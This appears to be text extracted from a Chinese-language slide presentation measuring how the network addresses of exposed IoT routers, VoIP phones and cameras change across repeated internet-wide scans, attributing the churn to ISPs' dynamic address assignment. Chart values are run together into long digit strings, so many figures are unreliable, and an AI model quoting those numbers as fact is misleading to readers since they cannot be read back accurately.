322、不在發現的威脅情報不存活?暴露數量真的是這樣的嗎?一 起 攻 擊 事 件 感 染 范 圍 真 有 這 么 大?為什么大量服務、威脅情報不存活?國 內 物 聯 網 資 產 I P v 4 網 絡 地 址 變 化 情 況PART 024,235,1111,426,0081,063,759563,572388,107241,767 234,353163,282 145,665 130,4330500,0001,000,0001,500,0002,000,0002,500,0003,000,0003,500,0004,000,0004,500,00055480506022214432380808081
323、81暴露資產(個)端口號OthersRTSP SIPUPnP 物聯網互聯網70%HTTP HTTPSSSH Telnet FTP 30%國 內 物 聯 網 資 產 暴 露 的 端 口 及 協 議 分 布 情 況國內暴露的物聯網資產協議分布情況基 于 多 輪 掃 描 結 果 對 比 的 資 產 變 化 研 究 方 法第1輪(基準輪次)第2輪第3輪(對比輪次)第n輪(對比輪次)掃描開始掃描結束 掃描開始掃描時長第4輪第5輪(對比輪次)對比間隔時間掃描結束18,87815,35518,53414,10529,92033,44730,26334,68826,96024,55727,79326,0760
324、5,00010,00015,00020,00025,00030,00035,00040,000間隔6天間隔34天間隔49天間隔74天暴露資產(個)對比時間無變化消失資產新出現資產兩次對比類型沒有發生變化的數量相對于基準消失的資產數量相對于基準新增的資產數量路 由 器 變 化 情 況80端口路由器 平均掃描周期3天 總量約5萬u 變化的資產數量相對穩定,約有3.3萬路由器網絡地址發生過變化,約占總量的68%40,02135,19534,16228,370141,984146,810151,282153,635156,634167,817167,917184,164050,000100,00015
325、0,000200,000間隔16天間隔28天間隔40天間隔64天暴露資產(個)對比時間無變化消失資產新出現資產VoIP電 話 變 化 情 況5060端口VoIP電話 平均掃描周期3天 總量約18萬u 變化的資產數量相對穩定,約有15萬VoIP電話網絡地址發生過變化,大約占總資產量的80%攝 像 頭 變 化 情 況356,042327,989308,393303,499123,192151,245170,841175,735127,975156,589177,893185,131050,000100,000150,000200,000250,000300,000350,000400,000間隔3
326、天間隔6天間隔12天間隔15天暴露資產(個)對比時間無變化消失資產新出現資產554端口攝像頭 平均掃描周期3天 總量約47萬u 約有15萬攝像頭網絡地址發生過變化,占總資產量的25%68%Router80%VoIP25%Camera觀察發現:互聯網上的暴露物聯網資產網絡地址,根據類型的不同均存在著不同程度的變化,并且新增和消失的數量幾乎平衡,變化量隨著時間的推移緩慢遞增攝 像 頭 變 化 情 況(平均掃描周期增加到7天)263,346255,615253,186243,053179,506187,237189,665199,801183,815194,817198,747207,148050,
327、000100,000150,000200,000250,000300,000間隔23天間隔33天間隔38天間隔56天暴露資產(個)對比時間無變化消失資產新出現資產554端口攝像頭 掃描周期增加到7天u 增加平均掃描周期,相比之前間隔3天,資產的變化量45%,相比之前3天掃描周期增加20%;但有24萬資產,間隔56天未發生變化觀察發現:在一定范圍內,縮短國內資產平均掃描周期,可以減少資產變化數量;同樣有一部分物聯網資產地址在觀測時間內一直都沒有變化33,20032,30431,27530,6453,9125,0895,9156,3934,1255,0216,0506,680010,00020,0
328、0030,00040,000間隔3天間隔6天間隔9天間隔11天暴露資產(個)無變化消失資產新出現資產18,45019,86319,54719,1521,9751,3312,6183,4091,9142,7382,3443,78505,00010,00015,00020,00025,000間隔3天間隔6天間隔9天間隔10天暴露資產(個)無變化消失資產新出現資產日 本 5 5 4 端 口 攝 像 頭 變 化 情 況新 加 坡 5 5 4 端 口 攝 像 頭 變 化 情 況亞 太 地 區 物 聯 網 資 產 變 化 并 不 明 顯對比于國內,日本和新加坡的資產變化比例明顯小的多,僅有不到15%的資產
329、在變化資 產 網 絡 地 址 變 化 原 因 分 析PART 03關 于 資 產 變 化 的 猜 想猜想1:物聯網資產的網絡地址變更,導致我們看到的資產變化猜想2:網絡地址變化可能在一定范圍內,并且有可能和運營商相關分 布 在 同 C 段 映 射 的 物 聯 網 資 產 統 計0-20,5,560,194,59%20-50,2,025,966,21%50-100,1,465,491,15%100以上,453,381,5%累計2個月物聯網設備IP分布在同網段的數量統計發現:同一網段物聯網資產數量大于20的資產數量占總量的41%資 產 C 段 映 射 變 化 明 顯 下 降129125129114
330、1289561281774590146860472664872545634473254780649078020000400006000080000100000120000140000間隔23天間隔33天間隔38天間隔56天暴露資產(個)無變化消失網段新增網段554端口的攝像頭131761304713028109354724492949957383430042244476368402000400060008000100001200014000間隔26天間隔34天間隔49天間隔58天暴露資產(個)不變網段消失網段新增網段80端口的路由器47,18247,58647,79439,80110,0231
331、0,85611,37117,14512,03112,05212,1268,331010,00020,00030,00040,00050,000間隔16天間隔28天間隔40天間隔49天暴露資產(個)無變化消失網段新增網段5060端口VoIP電話35%網段發生變化30%網段發生變化25%網段發生變化40%70%80%35%30%25%0.60%1.04%4.09%0%20%40%60%80%攝像頭路由器VoIP電話網絡地址C段映射B段映射物 聯 網 資 產 地 址 變 化 與 網 段 變 化 對 比發現:物聯網資產網絡地址在一定網段內變化結論:運營商采用的動態分配地址的策略導致物聯網資產網絡地址變
332、化網 絡 地 址 變 化 資 產 的 運 營 商 分 布 情 況7.78%8.94%11.61%12.00%41.03%48.02%63.09%1469229126987847042005175245624050001000015000200002500030000350000.00%10.00%20.00%30.00%40.00%50.00%60.00%70.00%中國移動通信公司中國聯通China169骨干網中國電信骨干網中華電信(臺灣)中國電信集團中國電信廣域網核心自治系統北京電信通網絡科技有限公司IP運營商名稱變化占比變化數量10.88%11.07%24.50%31.30%53.11%
333、55.22%60.84%70.80%7377331697167471716081584797520941590500001000001500002000000.00%20.00%40.00%60.00%80.00%中國移動通信公司中華電信(臺灣)電訊盈科有限公司中國電信集團中國電信骨干網中國聯通China169骨干網中國聯通北京市網絡中國聯通IP網絡廣東省China169變化占比變化數量554端口攝像頭變化資產ASN分布情況80端口路由器變化資產ASN分布情況IPv6 物 聯 網 資 產 網 絡 地 址 變 化 情 況PART 04IPv6 網 絡 地 址 探 測 的 困 難 性IPv6地址數量是IPv4的296倍,IPv6可以地球上每一粒沙分配一個IP,而且還有剩余目前IPv6地址使用的實際數量較少,并且地址分布的隨機性較大通過對全網掃描發現IPv6資產,從時間和資源上都不切實際利 用